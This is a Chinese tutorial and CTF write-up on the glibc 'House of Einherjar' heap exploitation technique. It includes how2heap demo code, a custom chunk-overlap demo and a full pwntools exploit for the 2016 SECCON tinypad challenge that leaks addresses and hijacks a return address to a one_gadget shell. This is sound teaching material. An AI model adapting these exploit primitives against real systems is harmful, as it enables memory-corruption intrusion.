• House Of Einherjar


     
    

    House Of Einherjar

    简介

    House Of Einherjar 技术可以强制使得 malloc 返回一个几乎任意地址的 chunk,House Of Einherjar这种技术可以利用释放堆块下一个块是top_chunk的时候,free会与相邻后向地址进行合并这一特性。也可以直接利用后向合并

    漏洞成因

    溢出写、off by oneoff by null

    适用范围

    • 2.23—— 至今

    • 可分配大于处于 unsortedbinchunk

    利用原理

    利用 off by null 修改掉 chunksize 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping

    • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围

    • 释放 A,进入 unsortedbin

    • B 写操作的时候存在 off by null,修改了 CP

    • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面

    • 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

    相关技巧

    虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。

    最开始的 unlink 的代码是:

    /* Take a chunk off a bin list */
    #define unlink(AV, P, BK, FD) {                                            \
        FD = P->fd;                                   \
        BK = P->bk;                                   \
        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
          malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
        else {                                    \
            // .....                                  \
          }                                       \
    }

    只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunkpresize 域。

    高版本的 unlink 的条件是:

    /* Take a chunk off a bin list.  */
    static void
    unlink_chunk (mstate av, mchunkptr p)
    {
      if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
    ​
      mchunkptr fd = p->fd;
      mchunkptr bk = p->bk;
    ​
      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
        // ......
    }

    新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。

    利用效果

    • 构造 chunk overlap 后,可以任意地址分配

    • 结合其他方法进行任意地址读写

    free 合并相关代码

    free 后向合并

    if (!prev_inuse(p)) {
            prevsize = p->prev_size;
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
          }

    其中 chunk_at_offset()为一个宏,定义如下:

    /* Treat space at ptr + offset as a chunk */
    #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

    所以以上代码就很清楚了:

    • 先检查 size 的 p 标志是否为 0(即上一个物理相邻的 chunk 是否处于空闲状态)

      • 将指针 p 设置为 p - prevszie

      • 进行 unlink 检查

    free 合并 top_chunk

     else {
            size += nextsize;
            set_head(p, size | PREV_INUSE);
            av->top = p;
          }

    set_head()为一宏,定义如下:

    /* Set size/use field */
    #define set_head(p, s)       ((p)->size = (s))

    所以这里很简单,直接将 size 设置为 size + nextsize,然后直接将 top_chunk_ptr 指向 p

    漏洞利用方式

    利用方式 1

    后向合并 + top_chunk 合并

    在上面的代码中我们知道,合并 top_chunk 时并没有进行任何检查;

    这里使用how2heap 中 glibc-2.23 中的例子:

    #include 
    #include 
    #include 
    #include 
    #include 
    ​
    int main()
    {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        uint8_t* a;
        uint8_t* b;
        uint8_t* d;
    ​
        a = (uint8_t*) malloc(0x38);
        printf("a: %p\n", a);
    ​
        int real_a_size = malloc_usable_size(a);
        size_t fake_chunk[6];
    ​
        fake_chunk[0] = 0x100;
        fake_chunk[1] = 0x100;
        fake_chunk[2] = (size_t) fake_chunk;
        fake_chunk[3] = (size_t) fake_chunk;
        fake_chunk[4] = (size_t) fake_chunk;
        fake_chunk[5] = (size_t) fake_chunk;
        printf("Our fake chunk at %p looks like:\n", fake_chunk);
    ​
        b = (uint8_t*) malloc(0xf8);
        int real_b_size = malloc_usable_size(b);
        printf("b: %p\n", b);
    ​
        uint64_t* b_size_ptr = (uint64_t*)(b - 8);
        printf("\nb.size: %#lx\n", *b_size_ptr);
        a[real_a_size] = 0;
        printf("b.size: %#lx\n", *b_size_ptr);
    ​
        size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
        printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
        *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
    ​
        fake_chunk[1] = fake_size;
    ​
        free(b);
        printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
    ​
        d = malloc(0x200);
        printf("Next malloc(0x200) is at %p\n", d);
        return 0;
     }

    动态调试一波:

    • 程序先创建0x40、0x100的chunk_a 与 chunk_b;

    • 伪造 fake_chunk,其中fd,bk,fd_nextsize、bk_nextsize 都指向 fake_chunk 的块地址,这里是为了绕过 unlink 检查

    • 计算 fake_size:fake_size = chunk_b 的块地址 - fake_chunk 的块地址(这里 fake_chunk 在栈上,所以 fake_size 为负数)

    • 设置 chunk_b.prev_size = fake_size = fake_chunk.size;一是为了绕过 unlink,二是为了使得后向合并后 b 指针指向 fake_chunk

    • 然后释放 chunk_b 时,检查其 size 发现 p 标志为0,则进行后向合并

    prevsize = p->prev_size; // prevsize = fake_size
    size += prevsize;        // size = size + fake_size
    p = chunk_at_offset(p, -((long) prevsize)); // b = b - fake_size = fake_chunk_malloc_addr
    unlink(av, p, bck, fwd); // 因为 fake_chunk的 fd,bk等都伪造好了,所以这里是可以通过检查的

    所以经过后向合并后,指针 b 就指向了 fake_chunk

    • 这里 chunk_b 是与 top_chunk 物理相邻的,所以这里还会进行 top_chunk 合并

    size += nextsize;  // size = size + old_top_chunk_size
    set_head(p, size | PREV_INUSE); // b->size = fake_chunk->size = size
    av->top = p;                // av->top = b = fake_chunk

    所以经过后向合并,fake_chunk 就成了 top_chunk,那么后面我们申请的 chunk 就会从 fake_chunk 中分配

     

    利用方式 2

    在利用方式1中,我们的 fake_chunk 在栈上,所以 fake_chunk 在高地址处;在这里我们在 chunk 的 user_data 中伪造 chunk 来实现 chunk overlapping.

    利用原理:后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))所以只要我们能够修改 prev_size 和 size 则可以触发后向合并到我们想要的位置;注意 unlink 的绕过

    利用方式:

    • 利用 chunk 的复用去修改 next_chunk 的 prev_size 域

    • 利用 off by one/null 等漏洞去修改 next_chunk 的 size 域

    • 释放相关 chunk 触发后向合并从而实现 chunk_overlapping

    wiki-eg:这里我有点蠢了,因为既然都能够覆盖 s2 的 prev_size 和 size 了,那直接正常释放 s0,然后修改 s2 的 prev_size 和 size就行了,没必要去伪造了>_<,当然之前都写了,那就不改了,原理反正都一样

    #include 
    #include 
    #include 
    ​
    int main(void){
        long long* s0 = malloc(0x80); //构造fake chunk
        long long* s1 = malloc(0x10);
        long long* s2 = malloc(0x80);
        long long* s3 = malloc(0x20); //为了不让s2与top chunk 合并
    ​
        s0[0] = 0;
        s0[1] = 0x21;
        s0[2] = (long long)&s0[0];
        s0[3] = (long long)&s0[0];
        s0[4] = 0x20;
    ​
        s2[-2] = 0xA0;
        s2[-1] = 0x90;
    ​
        free(s2);
    ​
        long long* s0_ = malloc(0x70);
        long long* s1_ = malloc(0x10);
    ​
        printf("s1:%p\ns1_:%p\n", s1, s1_);
    ​
        return 0;
    }
    • 先创建四个 chunk0-3,大小分别为0x90,0x20,0x90,0x30;其中 chunk3 用来隔离 top_chunk

    • 在 chunk0 中伪造 fake_chunk,伪造的数据用于绕过 unlink

    fake_chunk:
    prev_size=0;  size=0x21;
    fd=fake_chunk;bk=fake_chunk
    next_chunk_prev_szie=0x20;
    • 修改 chunk2 的 prev_size 和 size:prev_size=0xA0;size=0x90

    • 释放 chunk2:

      • 这里检测到 chunk2.size 的 p 标志为0,说明物理相邻的上一个 chunk 处于空闲状态,则进行后向合并:

        • size = size + prev_size = 0x90 + 0xA0 = 0x130

        • s2 = s2 - prev_size = s2 - 0xA0 = fake_chunk_malloc_ptr

        • 所以此时 chunk0-2 被合并成了一个大堆块给放进了 unsortedbin 中

    • 再申请的 chunk_s0_ 其实就是 fake_chunk,申请的 chunk_s1_ 就是 chunk1

    这里大家可以调一调,很简单,这里就不展示了>_<

    上面是在我们申请的 chunk 中伪造的 fake_chunk 即我们想分配的地址在 正常的 chunk 中;但是如果我们想分配的地址不在 chunk 中呢?那么为了后面能够正常申请,我们还需要伪造 fd、bk 指向 unsortedbin

    总而言之想要利用这个漏洞,我们需要做以下事情:

    • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。

    • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。

    • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

    例题

    2016 Seccon tinypad

    这个题直接给我做,感觉还是挺难的,但是放在 house of einherjar 这个环境下,还是可以做的;

    但是这里比较麻烦的是:程序开启了 got 表不可写,所以打不了 got 表;且 edit 写入时有 \x00 截断,所以导致我们不能打 hook,所以这里是去把 main 函数返回地址给修改成为 one_gadget,所以这里就多了一步泄漏栈地址

    程序只有 PIE 没开,考虑可以打 hook(事实是不行的,当然后面再说为啥)

    程序主要逻辑:

    程序在 main 函数中实现了三个功能:Add,Delete,Edit;并且每次选择后都会把 chunk 中的内容给输出

    Add 功能

    申请一个 chunk,大小不大于 0x110;且把 chunk 的 user_data 大小存储在tinypad[16 * index + 256],把 malloc_ptr 存储在tinypad[16 * index + 264];最多申请 4 个chunk

    注意:这里判断 index 位置是否空闲的是根据 user_data 大小来判断的;且这里的 read_until 函数是存在 off by null 漏洞的,具体可以自己分析一下。

    if ( cmd != 'A' )
            goto LABEL_41;
          while ( index <= 3 && *&tinypad[16 * index + 256] )// 获取空闲位置的下标
            ++index;
          if ( index == 4 )
          {
            writeln("No space is left.", 17LL);
          }
          else 
          { //获取 chunk 大小
            size = -1;
            write_n("(SIZE)>>> ", 10LL);
            size = read_int();
            if ( size <= 0 )
            {
              v5 = 1;
            }
            else
            {
              v5 = size;
              if ( size > 0x100 )
                v5 = 0x100;
            }                                       // chunk_size <= 0x110
            size = v5;
            *&tinypad[16 * index + 256] = v5;
            *&tinypad[16 * index + 264] = malloc(size);
            if ( !*&tinypad[16 * index + 264] )
            {
              writerrln("[!] No memory is available.", 27LL);
              exit(-1);
            }
            write_n("(CONTENT)>>> ", 13LL);
            read_until(*&tinypad[16 * index + 264], size, 10); //off by null
            writeln("\nAdded.", 7LL);
          }

    Delete 功能

    注:这里的 index 是从 1 开始的,所以这里的tinypad[16 * index + 240]对应的就是上面的tinypad[16 * index + 256]也就是 chunk 的 user_data 的大小,同理tinypad[16 * index + 248]存储的就是 chunk 的 malloc_ptr

    释放后会把 user_data 的大小清零,但是没有将指针置空

    if ( cmd == 'D' )
        {
          write_n("(INDEX)>>> ", 11LL);
          index = read_int();
          if ( index <= 0 || index > 4 )
          {
    LABEL_29:
            writeln("Invalid index", 13LL);
            continue;
          }
          if ( !*&tinypad[16 * index + 240] )       // 注意这里 1<=index<=4
          {
    LABEL_31:
            writeln("Not used", 8LL);
            continue;
          }
          free(*&tinypad[16 * index + 248]);        // UAF
          *&tinypad[16 * index + 240] = 0LL;
          writeln("\nDeleted.", 9LL);
        }

    Edit 功能

    这里的 Edit 很有意思

    • 这里并不是直接向 chunk 中写入数据,而是先根据 Add 时输入的 content 长度 old_len,把数据先写入 tinypad 处,然后再将 tinypad 处的数据复制到 chunk 中;但是这里 strcpy 有 \x00 截断,并且是使用 strlen 函数计算的 old_len,所以这里也会有 \x00截断

    • 所以每次写入的数据都不能比上一次写入的多

    • 存在 off by null

          write_n("(INDEX)>>> ", 11LL);
          index = read_int();
          if ( index <= 0 || index > 4 )
            goto LABEL_29;
          if ( !*&tinypad[16 * index + 240] )
            goto LABEL_31;
          c = '0';
          strcpy(tinypad, *&tinypad[16 * index + 248]);
          while ( toupper(c) != 'Y' )
          {
            write_n("CONTENT: ", 9LL);
            v6 = strlen(tinypad);
            writeln(tinypad, v6);
            write_n("(CONTENT)>>> ", 13LL);
            old_len = strlen(*&tinypad[16 * index + 248]);
            read_until(tinypad, old_len, 10);
            writeln("Is it OK?", 9LL);
            write_n("(Y/n)>>> ", 9LL);
            read_until(&c, 1uLL, 10);
          }
          strcpy(*&tinypad[16 * index + 248], tinypad);// \x00截断,off by null
          writeln("\nEdited.", 8LL);

    通过上面的分析:我们知道了

    • Add 时会把 chunk 的 malloc_ptr 存储在 tinypad 数组的某个位置,最多4个,写入 content 时存在 off by null;且 chunk 不大于 0x110

    • Delete 时会把存储在 tinypad 数组中的 user_data 给清零,但是没有将 chunk 指针置空,存在 UAF

    • Edit 时会先把数据写入 tinpypad 开始处,然后再复制到 chunk 中

    tinpypad 内部存储的数据如下:

    这里我们知道 chunk 的 user_data 最大为 0x100,所以在 Edit 的时候,在将把输入数据写入 tinypad 开始处时,不会覆盖到 malloc_ptr(由于 off by null,这里是可以覆盖到第一个 size 的低字节的,但是没啥用)

    虽然我们不能直接覆盖 malloc_ptr,但是 tinypad 的前 256 个字节是可控的,所以我们可以在里面伪造一个 fake_chunk 去绕过 unlink 检查,并且我们可以通过 0x18,0x28,0xf8等等特殊的 chunk 去修改下一个 chunk 的 prev_size,并且可以通过 off by null 去修改 prev_inuse 标志,那么就可以完成后向合并了;这里我们最大可以申请0x100的chunk,所以我们把 fake_chunk 伪造在 tinypad + 0x40 处,那么那就可以包含四个 malloc_ptr了。

    但是这里不能打 hook ,因为 (malloc/free)hook 里面的内容为 0,而在 Edit 时,是通过 strlen 去计算长度的,所以我们无法向 hook 中写入 one_gadget;所以这里将 main 函数的返回地址修改为 one_gadget

    Exp 讲解:

    第一步 泄漏 heap_base 和 libc

    Add(0x10, b'A')
    Add(0xF8, b'A')
    Add(0x10, b'A')
    Add(0x20, b'A')
    ​
    Delete(3)
    Delete(1)
    Delete(2)
    Delete(4)

    先创建 4 个chunk,然后按照该顺序释放 chunk

    输出 chunk 内容关键代码:

    len = strlen(*&tinypad[16 * i + 264]);
    writeln(*&tinypad[16 * i + 264], len);

    可以看到,由于 strlen 的 \x00 截断,这里我们先释放 chunk3,不然的话就变成了 0xad2120->0xad2000<-0x0,这里 0xad2000会因为 \x00 截断而无法输出 heap_base,这个在 unlink 哪里,我好像讲过。

    这里之所以要泄漏 heap_base,是因为要伪造 fake_size,而 fake_size = target_addr - freed_chunk_addr

    第二步 计算 fake_size 并重新申请 chunk

    fake_chunk_header_addr = 0x602040 + 0x40
    fake_size = heap_base + 0x20 - fake_chunk_header_addr
    print("fake_szie:", hex(fake_size))
    ​
    Add(0x18, b'A'*0x10 + p64(fake_size)) //伪造 prev_size 和 prev_inuse
    Add(0xF8, b'B'*0xF0)
    Add(0x80, b'C'*0x80)
    Add(0x80, b'D'*0x80)

    这里的第一个 0x18 和第二个 0xF8 的chunk 会复用上面的 第一个 0x10 和第二个 0xF8 的chunk;且这个 0xF8 的 chunk 就是后面我们要用来释放去后向合并的chunk;我们将它称为 victim

    我们利用 prev_size 的复用 和 off by null 将 victim 的 prev_size 和 prev_inuse 给篡改了

    第三步 伪造 chunk 去绕过 unlink检查

    prev_size = 0
    size = 0x21
    fd = fake_chunk_header_addr
    bk = fake_chunk_header_addr
    next_chunk_prevsize = 0x20
    fake_chunk = p64(prev_size) + p64(size) + p64(fd) + p64(bk)
    ​
    payload = b'A'*0x40 + fake_chunk + p64(next_chunk_prevsize)
    Edit(3, payload)

    我们在 tinpypad + 0x40 处伪造了一个 fake_chunk

    第四步 触发后向合并

    Delete(2)

    当我们释放 victim 时,它检查到 prev_inuse 为0,所以就会根据 prev_size 进行后向合并;

    可以看到 0x602080 即 tinypad + 0x40 已经被挂进 unsortedbin 中了

    但是这里有个问题,就是 tinypad + 0x40 这个伪造的 fake_chunk 的 size 太大了,我们将它修改为 0x100

    payload = b'A'*0x40 + p64(0) + p64(0x101) + p64(unsorted_bin)*2
    Edit(4, payload)

    注意:Edit 会先把 chunk4 的内容复制到 tinypad 处,这时会覆盖 tinypad 的 fd,bk,所以我们手动再修改回来即可

    申请 fake_chunk

    后面就简单了,我们再申请一个 0xF8的chunk,就会分配到这个 fake_chunk,从而就可以修改存储着 tinypad 中的 malloc_ptr 了

    payload = b'a'*0xB0 + p64(0x18) + p64(environ_addr) + p64(0xF8) + p64(0x602148) + p8(0x80)
    Add(0xF8, payload)

    可以看到我们将第一个 malloc_ptr 给修改成了 environ_addr,第二个 malloc_ptr 给修改成立 0x6020148 也就是存储第一个 malloc_ptr的位置;

    这时就会输出 environ了,就成功泄漏的栈地址,从而可以得到存储函数返回地址的栈地址

    我们知道第二个 malloc_ptr 指向的是存储着第一个 malloc_ptr 的地址,所以我们通过Edit(2, p64(ret_addr)) 修改第一个 malloc_ptr 指向 ret_addr

    然后再通过 Edit(1, p64(one_gadget1))去修改 ret_value

    完整 exp:

    from pwn import *
    ​
    if args['DEBUG']:
            context.log_level = 'debug'
    ​
    io = process("./tinypad")
    elf = ELF("./tinypad")
    libc = elf.libc
    ​
    def debug():
            gdb.attach(io)
            pause()
    ​
    def Add(size, content):
            io.recvuntil(b'(CMD)>>> ')
            io.sendline(b'a')
            io.recvuntil(b'(SIZE)>>> ')
            io.sendline(str(size).encode())
            io.recvuntil(b'(CONTENT)>>> ')
            io.sendline(content)
    ​
    def Delete(index):
            io.recvuntil(b'(CMD)>>> ')
            io.sendline(b'd')
            io.recvuntil(b'(INDEX)>>> ')
            io.sendline(str(index).encode())
    ​
    def Edit(index, content, cmd = b'Y'):
            io.recvuntil(b'(CMD)>>> ')
            io.sendline(b'e')
            io.recvuntil(b'(INDEX)>>> ')
            io.sendline(str(index).encode())
            io.recvuntil(b'(CONTENT)>>> ')
            io.sendline(content)
            io.recvuntil(b'(Y/n)>>> ')
            io.sendline(cmd)
    ​
    ​
    Add(0x10, b'A')
    Add(0xF8, b'A')
    Add(0x10, b'A')
    Add(0x20, b'A')
    ​
    Delete(3)
    Delete(1)
    Delete(2)
    Delete(4)
    ​
    io.recvuntil(b'# CONTENT: ')
    heap_base = u64(io.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x120
    #io.recvuntil(b'# CONTENT: ')
    io.recvuntil(b'# CONTENT: ')
    unsorted_bin = u64(io.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
    main_arena = unsorted_bin - 88
    libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
    print("heap_base:", hex(heap_base))
    print("unsorted_bin:", hex(unsorted_bin))
    print("main_arena:", hex(main_arena))
    print("libc_base:", hex(libc_base))
    #debug()
    ​
    fake_chunk_header_addr = 0x602040 + 0x40
    fake_size = heap_base + 0x20 - fake_chunk_header_addr
    print("fake_szie:", hex(fake_size))
    ​
    Add(0x18, b'A'*0x10 + p64(fake_size))
    Add(0xF8, b'B'*0xF0)
    Add(0x80, b'C'*0x80)
    Add(0x80, b'D'*0x80)
    #debug()
    ​
    prev_size = 0
    size = 0x21
    fd = fake_chunk_header_addr
    bk = fake_chunk_header_addr
    next_chunk_prevsize = 0x20
    fake_chunk = p64(prev_size) + p64(size) + p64(fd) + p64(bk)
    ​
    payload = b'A'*0x40 + fake_chunk + p64(next_chunk_prevsize)
    Edit(3, payload)
    #debug()
    ​
    Delete(2)
    #debug()
    ​
    payload = b'A'*0x40 + p64(0) + p64(0x101) + p64(unsorted_bin)*2
    Edit(4, payload)
    #debug()
    ​
    environ_addr = libc_base + libc.symbols['__environ']
    print("environ_addr:", hex(environ_addr))
    ​
    payload = b'a'*0xB0 + p64(0x18) + p64(environ_addr) + p64(0xF8) + p64(0x602148) + p8(0x80)
    Add(0xF8, payload)
    io.recvuntil(b'# CONTENT: ')
    environ = u64(io.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
    ret_addr = environ - 0xF0
    print("environ:", hex(environ))
    print("ret_addr:", hex(ret_addr))
    #debug()
    ​
    one_gadget1 = libc_base + 0x45226
    one_gadget2 = libc_base + 0x4527a
    one_gadget3 = libc_base + 0xf03a4
    one_gadget4 = libc_base + 0xf1247
    ​
    Edit(2, p64(ret_addr))
    #debug()
    Edit(1, p64(one_gadget1))
    ​
    io.recvuntil(b'(CMD)>>> ')
    io.sendline(b'q')
    ​
    io.interactive()

    参考

    PWN——House Of Einherjar CTF Wiki例题详解-安全客 - 安全资讯平台

    Glibc堆利用之house of系列总结 - roderick - record and learn!

    简介 - CTF Wiki

  • 相关阅读:
    vue双向数据绑定原理
    Spring Cloud Alibaba 使用Gateway作为服务网关
    ES6的模板字符串使用
    状态管理Vuex
    灵境:为每个一需要的人配上一个后台
    C. Even Picture(构造)
    GreatSQL vs MySQL性能测试来了,速围观~
    2022-08-26 Unity视频播放2——视频剪辑设置
    面试算法 二叉树的遍历,方法 :线索二叉树 ( morris ) ,前序遍历: 中序遍历: 后序遍历
    轻量封装WebGPU渲染系统示例<16>- 使用GPU Compute计算(源码)
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134516900